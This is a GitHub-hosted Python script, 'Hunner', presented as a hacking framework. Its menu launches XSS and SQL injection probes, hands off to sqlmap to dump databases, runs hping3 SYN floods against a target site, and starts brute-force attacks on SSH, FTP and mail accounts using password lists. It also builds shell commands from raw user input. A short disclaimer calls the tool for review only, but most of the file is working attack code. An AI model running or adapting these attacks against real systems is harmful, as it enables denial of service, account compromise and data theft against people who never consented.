forked from b3-v3r/Hunner
-
Notifications
You must be signed in to change notification settings - Fork 0
/
hunner.py
312 lines (291 loc) · 8.83 KB
/
hunner.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
# Create python3
# Author B3avers
#
import urllib.request as urllib2
import re
import sys,os
import random
H = '\033[95m'
B = '\033[94m'
G = '\033[92m'
W = '\033[93m'
F = '\033[91m'
E = '\033[0m'
U = '\033[4m'
O = '\033[33m'
def info():
VERSION = B+'1.0'+E
AUTHOR = B+'B3-v3r'+E
print("""
#################################
# #
# Version-> %s #
# #
# Author-> %s #
# #
#################################
""" % (VERSION, AUTHOR))
def heads():
global head
head = E+H+"""
```````````````````¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
```````````````¶¶¶`````````````````¶¶¶
````````````¶¶````````````````````````¶¶¶
```````````¶¶````````````````````````````¶¶
`````````¶¶````````````````````````````````¶
````````¶¶`````````"""+W+'Hunner framework'+E+H+"""````````¶¶
````````¶```````````"""+F+'Create B3-v3r'+H+"""```````````¶¶
```````¶¶```````````````````````````````````¶¶
```````¶`````````````````````````````````````¶
```````¶`````````````"""+B+'Version 1.0'+H+"""`````````````¶
```````¶`````````````````````````````````````¶
```````¶¶```````````````````````````````````¶¶
```````¶¶``````¶¶¶¶¶````````````¶¶¶¶¶```````¶¶
````````¶`¶``¶¶¶¶¶¶¶¶¶````````¶¶¶¶¶¶¶¶¶`````¶¶
````````¶¶``¶¶"""+F+'Hunner'+H+"""¶¶¶``````¶¶¶"""+F+'Hunner'+H+"""¶¶``¶¶¶
````````¶¶``¶¶¶¶¶¶¶¶¶¶````````¶¶¶¶¶¶¶¶¶¶``¶¶
````````¶`````¶¶¶¶```````````````¶¶¶¶¶`````¶¶
`````¶¶`¶¶``````````````¶`¶````````````````¶¶
```¶¶```¶¶¶¶```````````¶¶`¶¶```````````````¶¶¶``¶¶
``¶¶`````¶`¶¶¶¶¶¶¶````````¶````````¶¶¶¶¶¶¶¶¶`````¶¶
```¶``````¶¶````¶¶````````````````¶``````¶¶`````¶¶
``¶¶````````¶¶¶`¶¶¶`¶`¶``¶``¶``¶``¶````¶¶```````¶¶
```¶¶¶``¶``````¶¶¶¶``````¶`````¶¶¶`¶¶¶``````````¶
``````````¶¶¶¶¶````¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶`````¶¶¶¶¶¶¶¶
```````````````¶¶¶````¶¶¶"""+W+'The'+H+"""¶¶`````¶¶¶¶
``````````````````¶¶¶`"""+W+'Hacking'+H+"""``¶¶¶
````````````````````¶¶¶``````¶¶¶¶
````````````````¶¶¶`````¶¶¶¶¶````¶¶
```````````¶```````¶¶¶¶``````¶¶¶```````¶¶
```````````¶¶````¶¶`````````````¶¶``````¶
"""+E
def banner():
text1 = B+"""
___
( )
| | .-. ___ ___ ___ .-. ___ .-. .--. ___ .-.
| |/ \ ( )( ) ( ) \ ( ) \ / \ ( ) \
| .-. . | | | | | .-. . | .-. . | .-. ; | ' .-. ;
| | | | | | | | | | | | | | | | | | | | | / (___)
| | | | | | | | | | | | | | | | | ' _.' | |
| | | | | | ; ' | | | | | | | | | .'.-. | |
| | | | ' `-' / | | | | | | | | ' `-' / | |
(___)(___) '.__.' (___)(___) (___)(___) `.__.' (___)
"""+F+'<<<<--------'+W+'The hacking framework'+F+'-------->>>>'+E
text2 = O+"""
_ _
| | | |
| |_| |_ _ _ __ _ __ ___ _ __
| _ | | | | '_ \| '_ \ / _ \ '__|
| | | | |_| | | | | | | | __/ |
\_| |_/\__,_|_| |_|_| |_|\___|_|
"""+F+'<<<<---------'+W+'B3-v3r'+F+'--------->>>>'+E+F+'\n<<<<--------'+W+'The hacking framework'+F+'-------->>>>'+E
text3 = F+"""
____ ____
|_ || _|
| |__| | __ _ _ .--. _ .--. .---. _ .--.
| __ | [ | | | [ `.-. | [ `.-. |/ /__\\[ `/'`\]
_| | | |_ | \_/ |, | | | | | | | || \__., | |
|____||____|'.__.'_/[___||__][___||__]'.__.'[___]
"""+B+'Version ='+W+' 1.0'+E
ran = random.randrange(1, 4)
if ran == 1:
print(text1)
elif ran == 2:
print(text2)
elif ran == 3:
print(text3)
def XXS():
os.system('clear')
banner()
print('Enter site:')
try:
site = input(B+'Hunner»XXS»'+E)
except:
print(F+'\nError'+E)
if "http://" not in site and "https://"not in site:
site = 'http://' + site
else:
pass
if "id=" not in site:
print(F+'[!]'+E+' Site dont have id parametrs')
else:
print(W+'[*]'+G+' Site '+site+' have "id" param')
try:
res = urllib2.urlopen(site)
except:
print(F+'[!] Site not work'+E)
exit()
try:
print(W+'[+]'+G+' Site work'+E)
scr = ';<script>alert(111111111111111111111);</script>'
site_xxs = site+scr
res = urllib2.urlopen(site_xxs)
info = res.info()
print('################Info################\n')
print(info)
print('####################################\n')
text = res.read()
if "111111111111111111111" not in str(text):
print(F+'[!]'+' Site not have XXs '+E)
exit()
else:
print(U+W+'[++]'+B+' Site '+site +' have xxs vulnerability'+E)
print(W+'Payload: '+G+site_xxs+E)
sys.exit(1)
except:
print(F+'[!]'+' Fatal Error'+E)
exit()
def desc():
print(F+'''
This program was created for review and not for causing harm.
Usage of hunner for attacking targets without prior mutual consent is illegal.
Developers assume no liability and are not responsible for any misuse or damage caused by this program.
'''+E)
def SQL():
os.system('clear')
banner()
print(G+'Enter site:'+E)
site = input(B+'Hunner»SqlScaner»'+E)
if "http://" not in site and "https://"not in site:
site = 'http://' + site
else:
pass
if "id=" not in site:
print(F+'[!]'+E+' Site dont have id parametrs')
else:
print(W+'[*]'+G+' Site '+site+' have "id" param')
try:
res = urllib2.urlopen(site)
print(W+'[+]'+G+' Site work'+E)
except:
print(F+'[!]'+E+' Site dont work')
try:
info = res.info()
print('#####################Info#####################')
print(info)
print('##############################################')
bad_site = site+'\'\"'
res = urllib2.urlopen(bad_site)
text = res.read()
if 'You have an error in your SQL syntax' not in str(text):
print(W+'[--]'+F+' Site '+site+' not have Sql Error'+E)
else:
print(W+'[++]'+H+' Site '+F+site+H+' have SQL Error '+E)
print('Start sqlmap ?')
y = input('Y/n->')
if y == "Y" or y == 'y':
os.system('sqlmap -u '+site+' --dbs')
else:
print(W+'<< Good by >> '+E)
except:
print(F+'Fatal error'+E)
def Dos():
os.system('clear')
banner()
print('Enter site:')
site = input(B+'Hunner»Dos»'+E)
print('''Enter level:
1) High dos
2) Dos port
3) Low dos''')
level = int(input(B+'Hunner»Dos»Level»'+E))
if level == 1:
os.system('hping3 -S -P --flood -V '+site)
if level == 2:
port = input(B+'Hunner»Dos»Level»Port»'+E)
os.system('hping3 -S -P --flood -V -p '+port+' '+ site)
if level == 3:
os.system('python3 modules/dos.py '+site)
def SSH_Brut():
os.system('clear')
banner()
try:
print(F+'Brutforse ssh mode!!'+E)
print('Enter target host:')
host = input(W+'Hunner»SSH»Host»'+E)
print(G+'Enter username:'+E)
print(G+'Default: admin'+E)
user = input(W+'Hunner»SSH»User»'+E)
if user == "":
user = 'admin'
print(G+'Enter password file:'+E)
password = input(W+'Hunner»SSH»Password»'+E)
if password == "":
print('Enter password file')
sys.exit(1)
os.system('python3 modules/ssh.py '+host+' '+user+' '+password)
except:
print(F+' User aborting !!')
exit()
def FTP_Brut():
os.system('clear')
banner()
print(F+'Brutforse ftp mode!!'+E)
print(B+'Enter host:'+E)
host = input(W+'Hunner»Ftp»Host»'+E)
print(B+'Enter user:'+E)
print(F+'Default: admin')
user = input(W+'Hunner»Ftp»User»'+E)
print(B+'Enter password file:'+E)
password_list = input(W+'Hunner»Ftp»Password»'+E)
if user == '':
user = 'admin'
if password_list == '':
print('Enter password list')
sys.exit(1)
os.system('python3 modules/ftp.py '+host+' '+user+' '+password_list)
def mail():
os.system('clear')
banner()
print(H+'Brut mail account'+E)
print(B+'Enter login:'+E)
mail = input(W+'Hunner»Mail»Login»'+E)
print(B+'Enter password list:'+E)
password = input(W+'Hunner»Mail»Password»'+E)
if password == '':
print(F+'Password list: password/password_list.txt'+E)
password = 'password/password_list.txt'
os.system('python3 modules/mail.py '+mail+' '+password)
def Main_Menu():
print(head)
desc()
print('\n')
print(B+'''
Menu sites:
'''+E+'''
1) XXS
2) Sql
3) Dos site
'''+W+'''-------------------'''+E)
print(B + '''
Menu Brute:
'''+E+'''
4) Brute Ftp
5) Brute SSH
6) Brute mails
'''+W+'''-------------------\n'''+E)
try:
v = input('Hunner-»')
except:
print(' Good by ')
exit()
if v == 'help':
info()
elif int(v) == 1:
XXS()
elif int(v) == 2:
SQL()
elif int(v) == 3:
Dos()
elif int(v) == 4:
FTP_Brut()
elif int(v) == 5:
SSH_Brut()
elif int(v) == 6:
mail()
else:
print(F+'[!]'+' You entered an incorrect value '+E)
exit()
heads()
Main_Menu()